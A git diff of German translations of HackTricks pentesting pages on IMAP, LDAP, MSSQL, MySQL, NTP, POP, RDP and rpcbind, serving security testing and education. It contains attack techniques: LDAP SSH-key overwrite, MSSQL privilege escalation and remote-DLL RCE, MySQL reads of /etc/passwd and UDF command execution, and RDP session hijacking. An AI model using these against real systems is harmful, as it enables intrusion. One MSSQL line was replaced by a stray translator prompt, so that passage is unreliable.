unabhängig von dem verwendeten Gerät. +Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort** zuzugreifen, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät. Standardmäßig funktioniert das IMAP-Protokoll über zwei Ports: @@ -120,7 +120,7 @@ Es ist auch möglich, `UID` (eindeutige ID) zu verwenden, um auf Nachrichten zuz curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z.B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen): +Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z. B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' ``` diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 40a851cc3..4eedb488f 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -6,9 +6,9 @@ Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient haupts LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anforderer zu liefern. -Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern. +Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Stammverzeichnis an der Spitze beginnt**. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern. -**Standardport:** 389 und 636 (ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar. +**Standardport:** 389 und 636(ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack @@ -16,7 +16,7 @@ PORT STATE SERVICE REASON ``` ### LDAP-Daten-Austauschformat -LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen (Hinzufügen, Ändern, Löschen, Umbenennen) darstellen. +LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen darstellen (Hinzufügen, Ändern, Löschen, Umbenennen). ```bash dn: dc=local dc: local @@ -52,7 +52,7 @@ phone: 23627387495 ## Daten schreiben -Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel von LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**. +Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel von LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -87,7 +87,7 @@ Allerdings mussten Administratoren möglicherweise **eine bestimmte Anwendung ei ## Gültige Anmeldeinformationen -Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain Admin mit: +Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain-Admin mit: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) dumpen. ```bash @@ -110,7 +110,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials Siehe LDAP-Aufzählung mit Python -Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen mit Python aufzulisten**: `pip3 install ldap3` +Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen unter Verwendung von Python aufzulisten**: `pip3 install ldap3` Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden: ```bash @@ -121,7 +121,7 @@ Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden: True >>> server.info ``` -Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von: +Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von erhalten: ```bash >>> server.info DSA info (from DSE): @@ -205,11 +205,11 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Dom ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Enterprise Admins** extrahieren: +**Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Administratoren**: +Extrahieren **Administratoren**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` @@ -274,7 +274,7 @@ done ### Apache Directory -[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie Sie dieses Tool verwenden können, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie man dieses Tool verwendet, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer @@ -286,7 +286,7 @@ Standardmäßig wird es installiert in: _/opt/jxplorer_ ### Godap -Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert sowie mehrere andere spezialisierte Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrated DNS (ADIDNS), Exportieren in JSON-Dateien usw. +Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert, zusammen mit mehreren anderen spezialisierten Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrated DNS (ADIDNS), Exportieren in JSON-Dateien usw. ![](../images/godap.png) diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 7f5ce5f49..1089369ab 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlerhaft anmelden. +> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlgeschlagen sind. #### Metasploit (benötigt Anmeldeinformationen) ```bash @@ -366,7 +366,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +Für **weitere Beispiele** siehe die [**originale Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp @@ -376,11 +376,11 @@ Es ist möglich, eine **.NET dll innerhalb von MSSQL mit benutzerdefinierten Fun ### RCE mit `autoadmin_task_agents` -Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie auszuführen: +Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -Mit: +Bitte geben Sie den Text ein, den Sie übersetzen möchten. ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -438,7 +438,7 @@ Es gibt andere Methoden, um Befehlsausführung zu erhalten, wie das Hinzufügen ### Von db_owner zu sysadmin -Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Berechtigungen missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt wurden, als der Eigentümer (**Admin**) **ausgeführt** werden können. +Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank eines Admin-Benutzers** (wie **`sa`**) erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **stored procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -472,7 +472,7 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Sie können ein **metasploit**-Modul verwenden: +Sie können ein **metasploit** Modul verwenden: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` @@ -482,7 +482,7 @@ Oder ein **PS**-Skript: Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` -### Identitätsübernahme anderer Benutzer +### Nachahmung anderer Benutzer SQL Server hat eine spezielle Berechtigung, die **`IMPERSONATE`** genannt wird, die **es dem ausführenden Benutzer ermöglicht, die Berechtigungen eines anderen Benutzers** oder Logins zu übernehmen, bis der Kontext zurückgesetzt wird oder die Sitzung endet. ```sql @@ -505,7 +505,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff** auf andere **Datenbanken** oder verknüpfte Server hat. +> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff hat** auf andere **Datenbanken** oder verlinkte Server. Beachten Sie, dass Sie, sobald Sie Sysadmin sind, jeden anderen nachahmen können: ```sql @@ -537,21 +537,21 @@ Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanz Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten. -Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die wie folgt sind: +Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die Folgendes sind: 1. Aktivieren Sie TCP/IP auf den SQL Server-Instanzen; 2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist. 3. Aktivieren Sie die Remote-Admin-Verbindung. -Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. +Um diese Konfigurationen zu automatisieren, hat [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert. Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Fehlerbehebung bei der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Fehlerbehebung der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Lokale Privilegieneskalation -Der Benutzer, der den MSSQL-Server ausführt, hat das Privilegstoken **SeImpersonatePrivilege** aktiviert.\ +Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen: {{#ref}} diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 8e414d0fd..532b0f1c4 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -111,12 +111,12 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do ## MySQL willkürliches Lesen von Dateien durch den Client -Tatsächlich, wenn Sie versuchen, **Daten lokal in eine Tabelle zu laden**, fragt der MySQL- oder MariaDB-Server den **Client, um sie zu lesen** und den Inhalt zu senden. **Wenn Sie also einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.**\ +Tatsächlich, wenn Sie versuchen, **Daten lokal in eine Tabelle zu laden**, fragt der MySQL- oder MariaDB-Server den **Client, um sie zu lesen** und den Inhalt zu senden. **Wenn Sie dann einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.**\ Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Wenn Sie das Wort "local" beachten)\ +(Beachten Sie das Wort "local")\ Denn ohne das "local" können Sie Folgendes erhalten: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -144,11 +144,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren: -- Die **`user`**-Einstellung wird verwendet, um den Benutzer festzulegen, unter dem der MySQL-Dienst ausgeführt wird. +- Die **`user`**-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird. - **`password`** wird angewendet, um das Passwort des MySQL-Benutzers festzulegen. - **`admin_address`** gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört. - Die **`debug`**-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen. -- **`sql_warnings`** verwaltet, ob Informationszeichenfolgen für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten. +- **`sql_warnings`** verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten. - Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen. ### Privilegieneskalation @@ -173,7 +173,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys Wenn der **mysql-Server als root** (oder ein anderer privilegierter Benutzer) läuft, können Sie ihn dazu bringen, Befehle auszuführen. Dazu müssen Sie **benutzerdefinierte Funktionen** verwenden. Um eine benutzerdefinierte Funktion zu erstellen, benötigen Sie eine **Bibliothek** für das Betriebssystem, auf dem mysql läuft. -Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **Linux**-Bibliotheken und die **`.dll`** sind die **Windows**-Dateien, wählen Sie die, die Sie benötigen. +Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **Linux**-Bibliotheken und die **`.dll`** sind die für **Windows**, wählen Sie die, die Sie benötigen. Wenn Sie diese Bibliotheken **nicht haben**, können Sie entweder **nach ihnen suchen** oder diesen [**linux C-Code**](https://www.exploit-db.com/exploits/1518) herunterladen und **in der verwundbaren Linux-Maschine kompilieren**: ```bash diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 91eb046ab..b96642304 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die Aufrechterhaltung einer präzisen Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wesentlich, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird. +Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die genaue Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wichtig, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird. ### Zusammenfassung & Sicherheitstipps: @@ -13,7 +13,7 @@ Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkger - **Sicherheitsmaßnahmen**: - Verwenden Sie vertrauenswürdige NTP-Quellen mit Authentifizierung. - Beschränken Sie den Netzwerkzugang zum NTP-Server. -- Überwachen Sie die Synchronisation auf Anzeichen von Manipulation. +- Überwachen Sie die Synchronisierung auf Anzeichen von Manipulation. **Standardport:** 123/udp ``` @@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**Wie NTP DDoS-Angriffe funktionieren**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die zunächst klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, wodurch der Angriff verstärkt wird. +Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die zunächst klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, was den Angriff verstärkt. Der _**MONLIST**_-Befehl, obwohl er selten verwendet wird, kann die letzten 600 Clients melden, die mit dem NTP-Dienst verbunden sind. Während der Befehl selbst einfach ist, hebt sein Missbrauch in solchen Angriffen kritische Sicherheitsanfälligkeiten hervor. ```bash diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index 6cc516cd1..3f9cd459c 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -**Post Office Protocol (POP)** wird als ein Protokoll im Bereich der Computer-Netzwerke und des Internets beschrieben, das für die Extraktion und **Abruf von E-Mails von einem entfernten Mailserver** verwendet wird, um sie auf dem lokalen Gerät zugänglich zu machen. Positioniert innerhalb der Anwendungsschicht des OSI-Modells, ermöglicht dieses Protokoll den Benutzern, E-Mails abzurufen und zu empfangen. Der Betrieb von **POP-Clients** umfasst typischerweise das Herstellen einer Verbindung zum Mailserver, das Herunterladen aller Nachrichten, das Speichern dieser Nachrichten lokal auf dem Client-System und das anschließende Entfernen von ihnen vom Server. Obwohl es drei Iterationen dieses Protokolls gibt, sticht **POP3** als die am häufigsten verwendete Version hervor. +**Post Office Protocol (POP)** wird als ein Protokoll im Bereich der Computer-Netzwerke und des Internets beschrieben, das für die Extraktion und **Abruf von E-Mails von einem entfernten Mailserver** verwendet wird, um sie auf dem lokalen Gerät zugänglich zu machen. Positioniert innerhalb der Anwendungsschicht des OSI-Modells, ermöglicht dieses Protokoll den Benutzern, E-Mails abzurufen und zu empfangen. Der Betrieb von **POP-Clients** umfasst typischerweise das Herstellen einer Verbindung zum Mailserver, das Herunterladen aller Nachrichten, das Speichern dieser Nachrichten lokal auf dem Client-System und anschließend das Entfernen von ihnen vom Server. Obwohl es drei Iterationen dieses Protokolls gibt, sticht **POP3** als die am häufigsten verwendete Version hervor. **Standardports:** 110, 995(ssl) ``` diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index c7b0e8e37..cb2ca036f 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -2,16 +2,17 @@ {{#include ../banners/hacktricks-training.md}} + ## Grundlegende Informationen -Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktopumgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird. +Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird. **Standardport:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -## Enumeration +## Aufzählung ### Automatisch ```bash @@ -74,19 +75,19 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen. +Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** kannst du jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen. -Sie können RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Du kannst nach RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) -### RDP Process Injection +### RDP Prozessinjektion -Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **Sie Admin sind**, können Sie Ihr Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln: +Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **du Admin bist**, kannst du dein Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} -### Hinzufügen eines Benutzers zur RDP-Gruppe +### Benutzer zur RDP-Gruppe hinzufügen ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` @@ -94,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind. +**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Steuere Maus und Tastatur automatisiert über die Befehlszeile diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 45dcf6369..ceeccc421 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -30,7 +30,7 @@ Wenn Sie den Dienst NFS finden, können Sie wahrscheinlich Dateien auflisten und ![](<../images/image (872).png>) -Lesen Sie [2049 - Pentesting NFS service](nfs-service-pentesting.md), um mehr darüber zu erfahren, wie Sie dieses Protokoll testen können. +Lesen Sie[ 2049 - Pentesting NFS service](nfs-service-pentesting.md), um mehr darüber zu erfahren, wie Sie dieses Protokoll testen können. ## NIS @@ -38,7 +38,7 @@ Die Erkundung von **NIS**-Schwachstellen umfasst einen zweistufigen Prozess, der ![](<../images/image (859).png>) -Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get 